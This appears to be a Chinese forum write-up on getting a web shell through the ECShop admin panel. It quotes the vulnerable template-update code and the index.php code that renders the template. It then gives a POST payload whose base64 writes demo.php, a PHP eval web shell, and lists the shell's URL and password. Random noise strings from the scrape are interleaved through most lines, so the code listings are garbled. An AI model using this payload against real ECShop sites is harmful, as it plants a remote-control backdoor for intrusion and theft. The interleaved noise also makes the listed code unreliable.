Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
: B$ Z0 ^, v" y# _' v2 p但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
1 L. S; a& S7 {admin/template.php

2 B9 G- r- l4 D9 @1 if ($_REQUEST['act'] == 'update_library')
% @5 H5 k# c8 g6 o" X
2   
" _  [; e# i9 H9 i/ i0 {1 S
5 m- u" \" M0 C; ]3 {
0 n3 o0 u4 H/ r( r
4     check_authz_json('library_manage');

5   

' b0 ~0 n4 C6 }1 N. P8 S6 H6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

, g/ E: m! s" ^3 A# G! k8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
5 ?/ W0 J" J" V. \
11   
' h' V+ Z! L0 b9 f# W* ^- c
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

3 v' L# E2 ^/ x9 b( v) J  c13   
/ W2 ]) V" H8 E( T8 m, I  ?
4 {/ R- f6 ]3 j# x* L14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
* [$ R3 C0 j; J3 V' Y( ?$ _) D% Q0 S
( Y+ a; E4 i0 U3 k15     {
- Q( @; t7 v# T3 H; ?, i
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);
4 L. t# _& a0 Y
9 P3 C* T+ D! I18     }
$ n# Z! h+ b, G1 y! ?
. E5 p. U6 Z. U/ ~19     else
7 r7 d, T  m$ l6 Q
7 C4 a" d6 H! L: J( d6 N' k20     {
" o& l5 i4 Q  b. K; A( b; W; O! O
0 c! l2 v# Y# A2 w) n21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
8 Q7 b- {/ ^' x# D
* t$ T% U( m* e22     }

23 }

那么找个比较方便调用了模板的文件
0 H) H) S9 S- T( tindex.php
. y  b6 s8 E7 p" U) d! p
1 if ($act == 'cat_rec')

& i* B: l# C5 m/ |( I3 X+ K7 d2   

3 {
& R- v; t5 [8 |9 B
4   

! C- h, d5 F  w; }" h5 w1 b" X5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

! [& v* G, W% r* S  y! o3 I9 F7 w$ a6   

$ H5 S8 R2 M; |. [" Y' @( S# q7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- h( }2 [5 ^2 R. ?% @$ }
8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

. ~7 ?0 R. A: X1 c; U# c11     include_once('includes/cls_json.php');
& n  L% o7 m8 ^. a. x; |
12   

13     $json = new JSON;

14   
, R0 s0 t% [! ?3 }1 o
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
9 s+ O* Z9 P) M0 o
& a9 W% ?3 \; T7 C% f, \2 T16   
6 Q; L3 ?# x3 N7 q
( A; G2 B; E. c% h17     $children = get_children($cat_id);
/ C; Q! L) h. g. x# H7 g# A
18   
3 I4 r2 B/ |$ h0 T0 l2 T
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

; s* S% Y$ w; \3 z5 c& v' l0 Y20   

21     $smarty->assign('cat_rec_sign', 1);

22   
+ ^3 w- }$ y& z$ P1 O5 u. w2 ~
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* T- `! u/ D( u' T: j1 t7 K4 }
24   

6 Y1 d2 {, y+ \/ r5 ?& [: ]25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
! S0 d* S4 G* D5 o0 i1 \! R4 Q9 ^
6 M9 @! N9 m3 g1 D' ^$ F: I3 C27         echo $rec_array[$rec_type];
/ {$ ~  d5 j; z3 {. v  _
! i% z8 Q; q% x- Q: p% v: {28   

29     die($json->encode($result));
0 Y: _3 v$ Y4 }- y
& @. D& b# x+ Y  m4 S6 z30   

31 }

0 a# |# U# }- [4 y7 ~那么就有利用方法了
* }9 H9 S4 J, R* B: dpost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
8 m  e5 q+ b1 N" v' W  Z5 D! J1 d
$ i* a0 I4 g" V9 w然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
密码c

. U  b# P& l5 S' o3 S/ |